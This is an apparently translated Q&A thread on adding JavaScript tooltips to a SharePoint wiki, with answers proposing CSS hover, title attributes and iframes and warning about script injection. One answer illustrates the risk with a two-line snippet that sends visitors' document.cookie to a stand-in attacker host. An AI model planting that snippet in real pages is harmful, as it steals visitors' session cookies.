2008-09-17 5 views
5

wiki 관리자 인 경우 어떻게 Sharepoint wiki 페이지에 스크립팅 (자바 스크립트)을 입력 할 수 있습니까?

제목을 입력하고이를 클릭하면 작은 설명이 표시됩니다. 나는 보통 자바 스크립트로 다른 어떤 생각을 해왔다.위키 페이지에 Javascript를 입력하는 방법은 무엇입니까?

+1

당신은 위키 사이트 관리자입니까 아니면 다른 사용자입니까? – sblundy

+0

모든 것이 바뀝니다. 질문을 업데이트하고 위키 플랫폼을 포함하십시오. – sblundy

+0

당신은 또한이 하나의 'html'로 태그를 붙일 수 있습니다. – Nate

답변

4

당신이 위키의 관리자이고 클릭 대신 마우스 오버시 이것을 표시한다고 가정하면 자바 스크립트가 전혀 필요하지 않습니다. 똑 바른 CSS를 사용할 수 있습니다. 여기에 스타일과 마크 업의 예 좀 더 복잡 스타일로

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" 
    "http://www.w3.org/TR/html4/strict.dtd"> 
<html> 
<head> 
    <title>Test</title> 
    <style type="text/css"> 
    h1 { padding-bottom: .5em; position: relative; } 
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; } 
    h1:hover span { display: block; } 
    </style> 
</head> 
<body> 
    <h1>Here is the title! 
    <span>Here is a little explanation</span> 
    </h1> 
    <p>Here is some page content</p> 
</body> 
</html> 

, 당신의 도구 설명 상자가 원하는만큼 좋은 찾을 수 있습니다.

0

보안 위험이있는 것 같습니다. wiki 관리자가 스크립트를 설치할 가능성이 있습니다 (wikipedia's user scripts 참조).

+0

저는 위키 관리자입니다. – Aidenn

0

공용 Wiki에 자바 스크립트 코드를 추가하면 안됩니다. 자신이 직접 호스팅하는 경우 특정 위키 시스템을 요구해야합니다. 그러면 누군가 해당 설정을 수정할 수 있도록 도와 줄 수 있습니다.

0

이 사이트에서 웹 페이지의 일부로 Javascript를 사용하는 것에 대해 이야기하고 있다면, 그렇게 할 수 없습니다. 또는 그 문제에 대한 다른 공개 위키 - 보안 위험이 있습니다.

코드 샘플을 게시하는 경우 텍스트 상자 위의 '101010'버튼을 클릭하십시오.

0

물론 당신이 말하는 위키 엔진에 달려 있습니다. 대부분 sblundy가 말했듯이 위키 페이지에서 자바 스크립트를 무료로 사용하는 것은 보안 상 위험 할 수 있습니다.

1

완전히 사용하는 특정 Wiki 소프트웨어에 따라 다릅니다. 내가 본 일은 다른 곳에서 js 파일을 호스트 한 다음 src 특성이있는 script 태그를 포함시키는 것입니다.

허용되지 않는 경우 스크립트를 포함하는 페이지로 설정할 수있는 IFRAME을 허용 할 수 있습니다. 두 번째 기술을 사용하면 호스트 페이지의 DOM에 액세스 할 수 없게됩니다.

0

임의의 태그에 title="text here"을 추가하면 해당 태그 위에 마우스를 올리면 텍스트가 표시됩니다.
alt="text here" 특성을 사용하면 Internet Explorer에 텍스트가 표시되지만 표준에 맞지는 않습니다.

지금 테스트를 거쳐 위키 백과 (위키 백과에서 사용하는 시스템) 기반 시스템에 <h2 title="some explanation here">headline</h2>을 추가 할 수 있습니다.

9

위키 작성자가 현명하다면 아마 이런 방법이 없을 것입니다.

사용자가 제공 한 JavaScript의 문제점은 모든 형태의 악의적 행위자가 의심하지 않는 사람으로부터 데이터를 가져올 수있는 문호를 열어주는 것입니다.

는 이제 가정하자 악 - 나 공공 웹 사이트에 스크립트를 게시 :

i = new Image(); 
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie; 

지금 내 서버의 로그에 게시 된 페이지에 각 방문자의 쿠키 정보를 받게됩니다. 그리고 그것은 빙산의 일각에 불과합니다.

1

나는 CSS 답변을 좋아합니다. Javascript 대신 CSS를 사용하면 마크 업이 단순 해집니다.
Codeplex의 SharePoint Enhanced Wiki Edition 용 커뮤니티 키트가 있습니다. 소스 코드를 다운로드하고 자신의 기능을 추가 할 수 있습니다. 또는 포럼에서이 기능을 새로운 기능으로 제안 할 수 있습니다.

관련 문제